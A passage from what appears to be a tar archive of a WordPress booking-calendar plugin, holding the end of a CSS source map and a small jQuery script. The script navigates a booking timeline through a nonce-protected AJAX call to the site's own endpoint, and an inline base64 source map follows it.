mlld19kYXlzX251bV83IC5mbGV4X3RsX19zY3JvbGxpbmdfc2VjdGlvbnMgLmZsZXhfdGxfX3Njcm9sbGluZ19zZWN0aW9uMiAuZmxleF90bF9yb3dfbWF4X3dpZHRoIHtcclxuICBtaW4td2lkdGg6IDMwMHB4XHJcbn1cclxuLmZsZXhfdGxfbWF0cml4X3Jlc291cmNlcy5mbGV4X2ZyYW1lX3ZpZXdfZGF5c19udW1fMzAgLmZsZXhfdGxfX3Njcm9sbGluZ19zZWN0aW9ucyAuZmxleF90bF9fc2Nyb2xsaW5nX3NlY3Rpb24yIC5mbGV4X3RsX3Jvd19tYXhfd2lkdGgge1xyXG4gIG1pbi13aWR0aDogMTQwMHB4XHJcbn1cclxuLmZsZXhfdGxfbWF0cml4X3Jlc291cmNlcy5mbGV4X2ZyYW1lX3ZpZXdfZGF5c19udW1fNjAgLmZsZXhfdGxfX3Njcm9sbGluZ19zZWN0aW9ucyAuZmxleF90bF9fc2Nyb2xsaW5nX3NlY3Rpb24yIC5mbGV4X3RsX3Jvd19tYXhfd2lkdGgge1xyXG4gIG1pbi13aWR0aDogMjgwMHB4XHJcbn1cclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfaGVhZGVyIC5mbGV4X3RsX2NvbGx1bW5fMSxcclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfaGVhZGVyIC5mbGV4X3RsX2NvbGx1bW5fMixcclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfdGl0bGVzIC5mbGV4X3RsX2NvbGx1bW5fMSxcclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfdGl0bGVzIC5mbGV4X3RsX2NvbGx1bW5fMiB7XHJcbiAgaGVpZ2h0OiB2YXIoLS13cGJjX3RpbWVsaW5lLXJvdy1oZWFkZXItaGVpZ2h0KTtcclxuICBvdmVyZmxvdzogaGlkZGVuXHJcbn1cclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfaGVhZGVyIC5mbGV4X3RsX2NvbGx1bW5fMixcclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfdGl0bGVzIC5mbGV4X3RsX2NvbGx1bW5fMiB7XHJcbiAgZGlzcGxheTogLW1zLWZsZXhib3g7XHJcbiAgZGlzcGxheTogZmxleDtcclxuICAtbXMtZmxleC1mbG93OiByb3cgd3JhcDtcclxuICBmbGV4LWZsb3c6IHJvdyB3cmFwO1xyXG4gIC1tcy1mbGV4LXBhY2s6IHN0YXJ0O1xyXG4gIGp1c3RpZnktY29udGVudDogZmxleC1zdGFydDtcclxuICAtbXMtZmxleC1hbGlnbjogc3RyZXRjaDtcclxuICBhbGlnbi1pdGVtczogc3RyZXRjaFxyXG59XHJcbi5mbGV4X3RsX3RhYmxlIC5mbGV4X3RsX3RhYmxlX2hlYWRlciAuZmxleF90bF9jb2xsdW1uXzIgPiBkaXYsXHJcbi5mbGV4X3RsX3RhYmxlIC5mbGV4X3RsX3RhYmxlX3RpdGxlcyAuZmxleF90bF9jb2xsdW1uXzIgPiBkaXYge1xyXG4gIC1tcy1mbGV4OiAxIDEgMTAwJTtcclxuICBmbGV4OiAxIDEgMTAwJVxyXG59XHJcbi5mbGV4X3RsX3RhYmxlIC5mbGV4X3RsX3RhYmxlX3Jvd19ib29raW5ncyAuZmxleF90bF9jb2xsdW1uXzIgLmZsZXhfdGxfZGF0ZXNfYmFyIC5mbGV4X3RsX2RheV9jZWxsIC5pbl9jZWxsX2RhdGVfY29udGFpbmVyX3Nob3dfYm9va2luZ3MgLmJvb2tpbmdfaWQge1xyXG4gIG1hcmdpbi1sZWZ0OiAtMXB4O1xyXG4gIG9wYWNpdHk6IC44O1xyXG4gIGJhY2tncm91bmQ6IG5vbmU7XHJcbiAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0td3BiY190aW1lbGluZS1ib29raW5nLXBlbmRpbmctY29sb3IpXHJcbn1cclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfcm93X2Jvb2tpbmdzIC5mbGV4X3RsX2NvbGx1bW5fMiAuZmxleF90bF9kYXRlc19iYXIgLmZsZXhfdGxfZGF5X2NlbGwgLmluX2NlbGxfZGF0ZV9jb250YWluZXJfc2hvd19ib29raW5ncyAuYm9va2luZ19pZC5zdGFydF9uZXdfYm9va2luZyB7XHJcbiAgYm9yZGVyLWxlZnQ6IDJweCBzb2xpZCAjZGY4ZDE4XHJcbn1cclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfcm93X2Jvb2tpbmdzIC5mbGV4X3RsX2NvbGx1bW5fMiAuZmxleF90bF9kYXRlc19iYXIgLmZsZXhfdGxfZGF5X2NlbGwgLmluX2NlbGxfZGF0ZV9jb250YWluZXJfc2hvd19ib29raW5ncyAuYm9va2luZ19pZC5hcHByb3ZlZF9ib29raW5nIHtcclxuICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cGJjX3RpbWVsaW5lLWJvb2tpbmctYXBwcm92ZWQtY29sb3IpXHJcbn1cclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfcm93X2Jvb2tpbmdzIC5mbGV4X3RsX2NvbGx1bW5fMiAuZmxleF90bF9kYXRlc19iYXIgLmZsZXhfdGxfZGF5X2NlbGwgLmluX2NlbGxfZGF0ZV9jb250YWluZXJfc2hvd19ib29raW5ncyAuYm9va2luZ19pZC5wYXN0X2RhdGUge1xyXG4gIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwYmNfdGltZWxpbmUtcGFzdC1ib29raW5nLXBlbmRpbmctY29sb3IpXHJcbn1cclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfcm93X2Jvb2tpbmdzIC5mbGV4X3RsX2NvbGx1bW5fMiAuZmxleF90bF9kYXRlc19iYXIgLmZsZXhfdGxfZGF5X2NlbGwgLmluX2NlbGxfZGF0ZV9jb250YWluZXJfc2hvd19ib29raW5ncyAuYm9va2luZ19pZC5ib29raW5nX2NoYW5nZV9vdmVyIHtcclxuICBib3JkZXI6IG5vbmU7XHJcbiAgd2lkdGg6IDEwMCU7XHJcbiAgaGVpZ2h0OiAxMDAlO1xyXG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcclxuICB3aWR0aDogY2FsYygxMDAlICsgMXB4KTtcclxuICBtYXJnaW46IDAgLTFweFxyXG59XHJcbi5mbGV4X3RsX3RhYmxlIC5mbGV4X3RsX3RhYmxlX3Jvd19ib29raW5ncyAuZmxleF90bF9jb2xsdW1uXzIgLmZsZXhfdGxfZGF0ZXNfYmFyIC5mbGV4X3RsX2RheV9jZWxsIC5pbl9jZWxsX2RhdGVfY29udGFpbmVyX3Nob3dfYm9va2luZ3MgLmJvb2tpbmdfaWQuYm9va2luZ19jaGVja19pbiB7XHJcbiAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KHRvIGJvdHRvbSByaWdodCwjZmZmMCAwLCNmZmYwIDUwJSx2YXIoLS13cGJjX3RpbWVsaW5lLWJvb2tpbmctcGVuZGluZy1ib3JkZXItY29sb3IpIDUwJSx2YXIoLS13cGJjX3RpbWVsaW5lLWJvb2tpbmctcGVuZGluZy1ib3JkZXItY29sb3IpIDUyJSx2YXIoLS13cGJjX3RpbWVsaW5lLWJvb2tpbmctcGVuZGluZy1jb2xvcikgNTIlLHZhcigtLXdwYmNfdGltZWxpbmUtYm9va2luZy1wZW5kaW5nLWNvbG9yKSAxMDAlKVxyXG59XHJcbi5mbGV4X3RsX3RhYmxlIC5mbGV4X3RsX3RhYmxlX3Jvd19ib29raW5ncyAuZmxleF90bF9jb2xsdW1uXzIgLmZsZXhfdGxfZGF0ZXNfYmFyIC5mbGV4X3RsX2RheV9jZWxsIC5pbl9jZWxsX2RhdGVfY29udGFpbmVyX3Nob3dfYm9va2luZ3MgLmJvb2tpbmdfaWQuYm9va2luZ19jaGVja19vdXQge1xyXG4gIGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCh0byB0b3AgbGVmdCwjZmZmMCAwLCNmZmYwIDUwJSx2YXIoLS13cGJjX3RpbWVsaW5lLWJvb2tpbmctcGVuZGluZy1jb2xvcikgNTAlLHZhcigtLXdwYmNfdGltZWxpbmUtYm9va2luZy1wZW5kaW5nLWNvbG9yKSAxMDAlKVxyXG59XHJcbi5mbGV4X3RsX3RhYmxlIC5mbGV4X3RsX3RhYmxlX3Jvd19ib29raW5ncyAuZmxleF90bF9jb2xsdW1uXzIgLmZsZXhfdGxfZGF0ZXNfYmFyIC5mbGV4X3RsX2RheV9jZWxsIC5pbl9jZWxsX2RhdGVfY29udGFpbmVyX3Nob3dfYm9va2luZ3MgLmJvb2tpbmdfaWQuYXBwcm92ZWRfYm9va2luZy5ib29raW5nX2NoZWNrX2luIHtcclxuICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tIHJpZ2h0LCNmZmYwIDAsI2ZmZjAgNTAlLHZhcigtLXdwYmNfdGltZWxpbmUtYm9va2luZy1hcHByb3ZlZC1ib3JkZXItY29sb3IpIDUwJSx2YXIoLS13cGJjX3RpbWVsaW5lLWJvb2tpbmctYXBwcm92ZWQtYm9yZGVyLWNvbG9yKSA1MiUsdmFyKC0td3BiY190aW1lbGluZS1ib29raW5nLWFwcHJvdmVkLWNvbG9yKSA1MiUsdmFyKC0td3BiY190aW1lbGluZS1ib29raW5nLWFwcHJvdmVkLWNvbG9yKSAxMDAlKVxyXG59XHJcbi5mbGV4X3RsX3RhYmxlIC5mbGV4X3RsX3RhYmxlX3Jvd19ib29raW5ncyAuZmxleF90bF9jb2xsdW1uXzIgLmZsZXhfdGxfZGF0ZXNfYmFyIC5mbGV4X3RsX2RheV9jZWxsIC5pbl9jZWxsX2RhdGVfY29udGFpbmVyX3Nob3dfYm9va2luZ3MgLmJvb2tpbmdfaWQuYXBwcm92ZWRfYm9va2luZy5ib29raW5nX2NoZWNrX291dCB7XHJcbiAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KHRvIHRvcCBsZWZ0LCNmZmYwIDAsI2ZmZjAgNTAlLHZhcigtLXdwYmNfdGltZWxpbmUtYm9va2luZy1hcHByb3ZlZC1jb2xvcikgNTAlLHZhcigtLXdwYmNfdGltZWxpbmUtYm9va2luZy1hcHByb3ZlZC1jb2xvcikgMTAwJSlcclxufVxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV9yb3dfYm9va2luZ3MgLmZsZXhfdGxfY29sbHVtbl8yIC5mbGV4X3RsX2RhdGVzX2JhciAuZmxleF90bF9kYXlfY2VsbCAuaW5fY2VsbF9kYXRlX2NvbnRhaW5lcl9zaG93X2Jvb2tpbmdzIC5ib29raW5nX2lkLmJvb2tpbmdfY2hlY2tfaW4ucGFzdF9kYXRlIHtcclxuICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tIHJpZ2h0LCNmZmYwIDAsI2ZmZjAgNTAlLHZhcigtLXdwYmNfdGltZWxpbmUtYm9va2luZy1wZW5kaW5nLWJvcmRlci1jb2xvcikgNTAlLHZhcigtLXdwYmNfdGltZWxpbmUtYm9va2luZy1wZW5kaW5nLWJvcmRlci1jb2xvcikgNTIlLHZhcigtLXdwYmNfdGltZWxpbmUtcGFzdC1ib29raW5nLXBlbmRpbmctY29sb3IpIDUyJSx2YXIoLS13cGJjX3RpbWVsaW5lLXBhc3QtYm9va2luZy1wZW5kaW5nLWNvbG9yKSAxMDAlKVxyXG59XHJcbi5mbGV4X3RsX3RhYmxlIC5mbGV4X3RsX3RhYmxlX3Jvd19ib29raW5ncyAuZmxleF90bF9jb2xsdW1uXzIgLmZsZXhfdGxfZGF0ZXNfYmFyIC5mbGV4X3RsX2RheV9jZWxsIC5pbl9jZWxsX2RhdGVfY29udGFpbmVyX3Nob3dfYm9va2luZ3MgLmJvb2tpbmdfaWQuYm9va2luZ19jaGVja19vdXQucGFzdF9kYXRlIHtcclxuICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gdG9wIGxlZnQsI2ZmZjAgMCwjZmZmMCA1MCUsdmFyKC0td3BiY190aW1lbGluZS1wYXN0LWJvb2tpbmctcGVuZGluZy1jb2xvcikgNTAlLHZhcigtLXdwYmNfdGltZWxpbmUtcGFzdC1ib29raW5nLXBlbmRpbmctY29sb3IpIDEwMCUpXHJcbn1cclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfcm93X2Jvb2tpbmdzIC5mbGV4X3RsX2NvbGx1bW5fMiAuZmxleF90bF9kYXRlc19iYXIgLmZsZXhfdGxfZGF5X2NlbGwgLmluX2NlbGxfZGF0ZV9jb250YWluZXJfc2hvd19ib29raW5ncyAuYm9va2luZ19pZC5hcHByb3ZlZF9ib29raW5nLmJvb2tpbmdfY2hlY2tfaW4ucGFzdF9kYXRlIHtcclxuICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tIHJpZ2h0LCNmZmYwIDAsI2ZmZjAgNTAlLHZhcigtLXdwYmNfdGltZWxpbmUtYm9va2luZy1hcHByb3ZlZC1ib3JkZXItY29sb3IpIDUwJSx2YXIoLS13cGJjX3RpbWVsaW5lLWJvb2tpbmctYXBwcm92ZWQtYm9yZGVyLWNvbG9yKSA1MiUsdmFyKC0td3BiY190aW1lbGluZS1wYXN0LWJvb2tpbmctYXBwcm92ZWQtY29sb3IpIDUyJSx2YXIoLS13cGJjX3RpbWVsaW5lLXBhc3QtYm9va2luZy1hcHByb3ZlZC1jb2xvcikgMTAwJSlcclxufVxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV9yb3dfYm9va2luZ3MgLmZsZXhfdGxfY29sbHVtbl8yIC5mbGV4X3RsX2RhdGVzX2JhciAuZmxleF90bF9kYXlfY2VsbCAuaW5fY2VsbF9kYXRlX2NvbnRhaW5lcl9zaG93X2Jvb2tpbmdzIC5ib29raW5nX2lkLmFwcHJvdmVkX2Jvb2tpbmcuYm9va2luZ19jaGVja19vdXQucGFzdF9kYXRlIHtcclxuICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gdG9wIGxlZnQsI2ZmZjAgMCwjZmZmMCA1MCUsdmFyKC0td3BiY190aW1lbGluZS1wYXN0LWJvb2tpbmctYXBwcm92ZWQtY29sb3IpIDUwJSx2YXIoLS13cGJjX3RpbWVsaW5lLXBhc3QtYm9va2luZy1hcHByb3ZlZC1jb2xvcikgMTAwJSlcclxufVxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV9yb3dfYm9va2luZ3MgLmZsZXhfdGxfY29sbHVtbl8yIC5mbGV4X3RsX2RhdGVzX2JhciAuZmxleF90bF9kYXlfY2VsbCAuaW5fY2VsbF9kYXRlX2NvbnRhaW5lcl9zaG93X2Jvb2tpbmdfdGl0bGVzIC5pbl9jZWxsX2RhdGVfYm9va2luZ190aXRsZTphY3RpdmUsXHJcbi5mbGV4X3RsX3RhYmxlIC5mbGV4X3RsX3RhYmxlX3Jvd19ib29raW5ncyAuZmxleF90bF9jb2xsdW1uXzIgLmZsZXhfdGxfZGF0ZXNfYmFyIC5mbGV4X3RsX2RheV9jZWxsIC5pbl9jZWxsX2RhdGVfY29udGFpbmVyX3Nob3dfYm9va2luZ190aXRsZXMgLmluX2NlbGxfZGF0ZV9ib29raW5nX3RpdGxlOmZvY3VzLFxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV9yb3dfYm9va2luZ3MgLmZsZXhfdGxfY29sbHVtbl8yIC5mbGV4X3RsX2RhdGVzX2JhciAuZmxleF90bF9kYXlfY2VsbCAuaW5fY2VsbF9kYXRlX2NvbnRhaW5lcl9zaG93X2Jvb2tpbmdfdGl0bGVzIC5pbl9jZWxsX2RhdGVfYm9va2luZ190aXRsZTpob3ZlciB7XHJcbiAgb3V0bGluZTogMDtcclxuICBib3gtc2hhZG93OiAwIDAgMCAycHggI2E2YmJlNTtcclxuICBib3gtc2hhZG93OiAwIDAgNHB4IC0xcHggIzAwMDtcclxuICAtd2Via2l0LXRleHQtZGVjb3JhdGlvbi1zdHlsZTogZGFzaGVkO1xyXG4gIHRleHQtZGVjb3JhdGlvbi1zdHlsZTogZGFzaGVkO1xyXG4gIHRleHQtZGVjb3JhdGlvbi10aGlja25lc3M6IDA7XHJcbiAgdGV4dC11bmRlcmxpbmUtb2Zmc2V0OiAycHhcclxufSJdfQ== */ timeline_v2.js 0000666 00000020127 15165645603 0007340 0 ustar 00 "use strict"; function wpbc_flextimeline_nav(timeline_obj, nav_step) { jQuery(".wpbc_timeline_front_end").trigger("timeline_nav", [timeline_obj, nav_step]); //FixIn:7.0.1.48 // jQuery( '#'+timeline_obj.html_client_id + ' .wpbc_tl_prev,#'+timeline_obj.html_client_id + ' .wpbc_tl_next').remove(); // jQuery('#'+timeline_obj.html_client_id + ' .wpbc_tl_title').html( '<span class="wpbc_icn_rotate_right wpbc_spin"></span>   Loading...' ); // '<div style="height:20px;width:100%;text-align:center;margin:15px auto;">Loading ... <img style="vertical-align:middle;box-shadow:none;width:14px;" src="'+_wpbc.get_other_param( 'url_plugin' )+'/assets/img/ajax-loader.gif"><//div>' jQuery('#' + timeline_obj.html_client_id + ' .flex_tl_prev,#' + timeline_obj.html_client_id + ' .flex_tl_next').remove(); jQuery('#' + timeline_obj.html_client_id + ' .flex_tl_title').html('<span class="wpbc_icn_rotate_right wpbc_spin"></span>   Loading...'); // '<div style="height:20px;width:100%;text-align:center;margin:15px auto;">Loading ... <img style="vertical-align:middle;box-shadow:none;width:14px;" src="'+_wpbc.get_other_param( 'url_plugin' )+'/assets/img/ajax-loader.gif"><//div>' //Deprecated: FixIn: 9.0.1.1.1 // if ( 'function' === typeof( jQuery(".popover_click.popover_bottom" ).popover ) ) //FixIn: 7.0.1.2 - 2016-12-10 // jQuery('.popover_click.popover_bottom').popover( 'hide' ); //Hide all opened popovers jQuery.ajax({ url: wpbc_url_ajax, type: 'POST', success: function success(data, textStatus) { // Note, here we direct show HTML to TimeLine frame if (textStatus == 'success') { jQuery('#' + timeline_obj.html_client_id + ' .wpbc_timeline_ajax_replace').html(data); return true; } }, error: function error(XMLHttpRequest, textStatus, errorThrown) { window.status = 'Ajax Error! Status: ' + textStatus; alert('Ajax Error! Status: ' + XMLHttpRequest.status + ' ' + XMLHttpRequest.statusText); }, // beforeSend: someFunction, data: { action: 'WPBC_FLEXTIMELINE_NAV', timeline_obj: timeline_obj, nav_step: nav_step, wpdev_active_locale: _wpbc.get_other_param('locale_active'), wpbc_nonce: document.getElementById('wpbc_nonce_' + timeline_obj.html_client_id).value } }); } //# sourceMappingURL=data:application/json;charset=utf8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiY29yZS90aW1lbGluZS92Mi9fb3V0L3RpbWVsaW5lX3YyLmpzIiwibmFtZXMiOlsid3BiY19mbGV4dGltZWxpbmVfbmF2IiwidGltZWxpbmVfb2JqIiwibmF2X3N0ZXAiLCJqUXVlcnkiLCJ0cmlnZ2VyIiwiaHRtbF9jbGllbnRfaWQiLCJyZW1vdmUiLCJodG1sIiwiYWpheCIsInVybCIsIndwYmNfdXJsX2FqYXgiLCJ0eXBlIiwic3VjY2VzcyIsImRhdGEiLCJ0ZXh0U3RhdHVzIiwiZXJyb3IiLCJYTUxIdHRwUmVxdWVzdCIsImVycm9yVGhyb3duIiwid2luZG93Iiwic3RhdHVzIiwiYWxlcnQiLCJzdGF0dXNUZXh0IiwiYWN0aW9uIiwid3BkZXZfYWN0aXZlX2xvY2FsZSIsIl93cGJjIiwiZ2V0X290aGVyX3BhcmFtIiwid3BiY19ub25jZSIsImRvY3VtZW50IiwiZ2V0RWxlbWVudEJ5SWQiLCJ2YWx1ZSJdLCJzb3VyY2VzIjpbImNvcmUvdGltZWxpbmUvdjIvX3NyYy90aW1lbGluZV92Mi5qcyJdLCJzb3VyY2VzQ29udGVudCI6WyJcclxuZnVuY3Rpb24gd3BiY19mbGV4dGltZWxpbmVfbmF2KCB0aW1lbGluZV9vYmosIG5hdl9zdGVwICl7XHJcblxyXG4gICAgalF1ZXJ5KCBcIi53cGJjX3RpbWVsaW5lX2Zyb250X2VuZFwiICkudHJpZ2dlciggXCJ0aW1lbGluZV9uYXZcIiAsIFsgdGltZWxpbmVfb2JqLCBuYXZfc3RlcCBdICk7ICAgICAgICAvL0ZpeEluOjcuMC4xLjQ4XHJcblxyXG4gICAgLy8galF1ZXJ5KCAnIycrdGltZWxpbmVfb2JqLmh0bWxfY2xpZW50X2lkICsgJyAud3BiY190bF9wcmV2LCMnK3RpbWVsaW5lX29iai5odG1sX2NsaWVudF9pZCArICcgLndwYmNfdGxfbmV4dCcpLnJlbW92ZSgpO1xyXG4gICAgLy8galF1ZXJ5KCcjJyt0aW1lbGluZV9vYmouaHRtbF9jbGllbnRfaWQgKyAnIC53cGJjX3RsX3RpdGxlJykuaHRtbCggJzxzcGFuIGNsYXNzPVwid3BiY19pY25fcm90YXRlX3JpZ2h0IHdwYmNfc3BpblwiPjwvc3Bhbj4gJm5ic3AgTG9hZGluZy4uLicgKTsgICAgICAvLyAnPGRpdiBzdHlsZT1cImhlaWdodDoyMHB4O3dpZHRoOjEwMCU7dGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luOjE1cHggYXV0bztcIj5Mb2FkaW5nIC4uLiA8aW1nIHN0eWxlPVwidmVydGljYWwtYWxpZ246bWlkZGxlO2JveC1zaGFkb3c6bm9uZTt3aWR0aDoxNHB4O1wiIHNyYz1cIicrX3dwYmMuZ2V0X290aGVyX3BhcmFtKCAndXJsX3BsdWdpbicgKSsnL2Fzc2V0cy9pbWcvYWpheC1sb2FkZXIuZ2lmXCI+PC8vZGl2PidcclxuXHJcbiAgICBqUXVlcnkoICcjJyt0aW1lbGluZV9vYmouaHRtbF9jbGllbnRfaWQgKyAnIC5mbGV4X3RsX3ByZXYsIycrdGltZWxpbmVfb2JqLmh0bWxfY2xpZW50X2lkICsgJyAuZmxleF90bF9uZXh0JykucmVtb3ZlKCk7XHJcbiAgICBqUXVlcnkoJyMnK3RpbWVsaW5lX29iai5odG1sX2NsaWVudF9pZCArICcgLmZsZXhfdGxfdGl0bGUnKS5odG1sKCAnPHNwYW4gY2xhc3M9XCJ3cGJjX2ljbl9yb3RhdGVfcmlnaHQgd3BiY19zcGluXCI+PC9zcGFuPiAmbmJzcCBMb2FkaW5nLi4uJyApOyAgICAgIC8vICc8ZGl2IHN0eWxlPVwiaGVpZ2h0OjIwcHg7d2lkdGg6MTAwJTt0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46MTVweCBhdXRvO1wiPkxvYWRpbmcgLi4uIDxpbWcgc3R5bGU9XCJ2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7Ym94LXNoYWRvdzpub25lO3dpZHRoOjE0cHg7XCIgc3JjPVwiJytfd3BiYy5nZXRfb3RoZXJfcGFyYW0oICd1cmxfcGx1Z2luJyApKycvYXNzZXRzL2ltZy9hamF4LWxvYWRlci5naWZcIj48Ly9kaXY+J1xyXG5cclxuXHJcbi8vRGVwcmVjYXRlZDogRml4SW46IDkuMC4xLjEuMVxyXG4vLyBpZiAoICdmdW5jdGlvbicgPT09IHR5cGVvZiggalF1ZXJ5KFwiLnBvcG92ZXJfY2xpY2sucG9wb3Zlcl9ib3R0b21cIiApLnBvcG92ZXIgKSAgKSAgICAgICAvL0ZpeEluOiA3LjAuMS4yICAtIDIwMTYtMTItMTBcclxuLy8gICAgIGpRdWVyeSgnLnBvcG92ZXJfY2xpY2sucG9wb3Zlcl9ib3R0b20nKS5wb3BvdmVyKCAnaGlkZScgKTsgICAgICAgICAgICAgICAgICAgICAgLy9IaWRlIGFsbCBvcGVuZWQgcG9wb3ZlcnNcclxuXHJcbiAgICBqUXVlcnkuYWpheCh7XHJcbiAgICAgICAgdXJsOiB3cGJjX3VybF9hamF4LFxyXG4gICAgICAgIHR5cGU6J1BPU1QnLFxyXG4gICAgICAgIHN1Y2Nlc3M6IGZ1bmN0aW9uICggZGF0YSwgdGV4dFN0YXR1cyApeyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIE5vdGUsICBoZXJlIHdlIGRpcmVjdCBzaG93IEhUTUwgdG8gVGltZUxpbmUgZnJhbWVcclxuICAgICAgICAgICAgICAgICAgICBpZiggdGV4dFN0YXR1cyA9PSAnc3VjY2VzcycpIHtcclxuICAgICAgICAgICAgICAgICAgICAgICAgalF1ZXJ5KCcjJyArIHRpbWVsaW5lX29iai5odG1sX2NsaWVudF9pZCArICcgLndwYmNfdGltZWxpbmVfYWpheF9yZXBsYWNlJyApLmh0bWwoIGRhdGEgKTtcclxuICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7XHJcbiAgICAgICAgICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICAgICAgfSxcclxuICAgICAgICBlcnJvcjogIGZ1bmN0aW9uICggWE1MSHR0cFJlcXVlc3QsIHRleHRTdGF0dXMsIGVycm9yVGhyb3duKXtcclxuICAgICAgICAgICAgICAgICAgICB3aW5kb3cuc3RhdHVzID0gJ0FqYXggRXJyb3IhIFN0YXR1czogJyArIHRleHRTdGF0dXM7XHJcbiAgICAgICAgICAgICAgICAgICAgYWxlcnQoICdBamF4IEVycm9yISBTdGF0dXM6ICcgKyBYTUxIdHRwUmVxdWVzdC5zdGF0dXMgKyAnICcgKyBYTUxIdHRwUmVxdWVzdC5zdGF0dXNUZXh0ICk7XHJcbiAgICAgICAgICAgICAgICB9LFxyXG4gICAgICAgIC8vIGJlZm9yZVNlbmQ6IHNvbWVGdW5jdGlvbixcclxuICAgICAgICBkYXRhOntcclxuICAgICAgICAgICAgICAgIGFjdGlvbjogICAgICAgICAgICAgICdXUEJDX0ZMRVhUSU1FTElORV9OQVYnLFxyXG4gICAgICAgICAgICAgICAgdGltZWxpbmVfb2JqOiAgICAgICAgdGltZWxpbmVfb2JqLFxyXG4gICAgICAgICAgICAgICAgbmF2X3N0ZXA6ICAgICAgICAgICAgbmF2X3N0ZXAsXHJcbiAgICAgICAgICAgICAgICB3cGRldl9hY3RpdmVfbG9jYWxlOiBfd3BiYy5nZXRfb3RoZXJfcGFyYW0oICdsb2NhbGVfYWN0aXZlJyApLFxyXG4gICAgICAgICAgICAgICAgd3BiY19ub25jZTogICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3dwYmNfbm9uY2VfJysgdGltZWxpbmVfb2JqLmh0bWxfY2xpZW50X2lkKS52YWx1ZVxyXG4gICAgICAgIH1cclxuICAgIH0pO1xyXG59XHJcblxyXG4iXSwibWFwcGluZ3MiOiI7O0FBQ0EsU0FBU0EscUJBQXFCQSxDQUFFQyxZQUFZLEVBQUVDLFFBQVEsRUFBRTtFQUVwREMsTUFBTSxDQUFFLDBCQUEyQixDQUFDLENBQUNDLE9BQU8sQ0FBRSxjQUFjLEVBQUcsQ0FBRUgsWUFBWSxFQUFFQyxRQUFRLENBQUcsQ0FBQyxDQUFDLENBQVE7O0VBRXBHO0VBQ0E7O0VBRUFDLE1BQU0sQ0FBRSxHQUFHLEdBQUNGLFlBQVksQ0FBQ0ksY0FBYyxHQUFHLGtCQUFrQixHQUFDSixZQUFZLENBQUNJLGNBQWMsR0FBRyxnQkFBZ0IsQ0FBQyxDQUFDQyxNQUFNLENBQUMsQ0FBQztFQUNySEgsTUFBTSxDQUFDLEdBQUcsR0FBQ0YsWUFBWSxDQUFDSSxjQUFjLEdBQUcsaUJBQWlCLENBQUMsQ0FBQ0UsSUFBSSxDQUFFLHdFQUF5RSxDQUFDLENBQUMsQ0FBTTs7RUFHdko7RUFDQTtFQUNBOztFQUVJSixNQUFNLENBQUNLLElBQUksQ0FBQztJQUNSQyxHQUFHLEVBQUVDLGFBQWE7SUFDbEJDLElBQUksRUFBQyxNQUFNO0lBQ1hDLE9BQU8sRUFBRSxTQUFBQSxRQUFXQyxJQUFJLEVBQUVDLFVBQVUsRUFBRTtNQUFrQztNQUM1RCxJQUFJQSxVQUFVLElBQUksU0FBUyxFQUFFO1FBQ3pCWCxNQUFNLENBQUMsR0FBRyxHQUFHRixZQUFZLENBQUNJLGNBQWMsR0FBRyw4QkFBK0IsQ0FBQyxDQUFDRSxJQUFJLENBQUVNLElBQUssQ0FBQztRQUN4RixPQUFPLElBQUk7TUFDZjtJQUNKLENBQUM7SUFDVEUsS0FBSyxFQUFHLFNBQUFBLE1BQVdDLGNBQWMsRUFBRUYsVUFBVSxFQUFFRyxXQUFXLEVBQUM7TUFDL0NDLE1BQU0sQ0FBQ0MsTUFBTSxHQUFHLHNCQUFzQixHQUFHTCxVQUFVO01BQ25ETSxLQUFLLENBQUUsc0JBQXNCLEdBQUdKLGNBQWMsQ0FBQ0csTUFBTSxHQUFHLEdBQUcsR0FBR0gsY0FBYyxDQUFDSyxVQUFXLENBQUM7SUFDN0YsQ0FBQztJQUNUO0lBQ0FSLElBQUksRUFBQztNQUNHUyxNQUFNLEVBQWUsdUJBQXVCO01BQzVDckIsWUFBWSxFQUFTQSxZQUFZO01BQ2pDQyxRQUFRLEVBQWFBLFFBQVE7TUFDN0JxQixtQkFBbUIsRUFBRUMsS0FBSyxDQUFDQyxlQUFlLENBQUUsZUFBZ0IsQ0FBQztNQUM3REMsVUFBVSxFQUFXQyxRQUFRLENBQUNDLGNBQWMsQ0FBQyxhQUFhLEdBQUUzQixZQUFZLENBQUNJLGNBQWMsQ0FBQyxDQU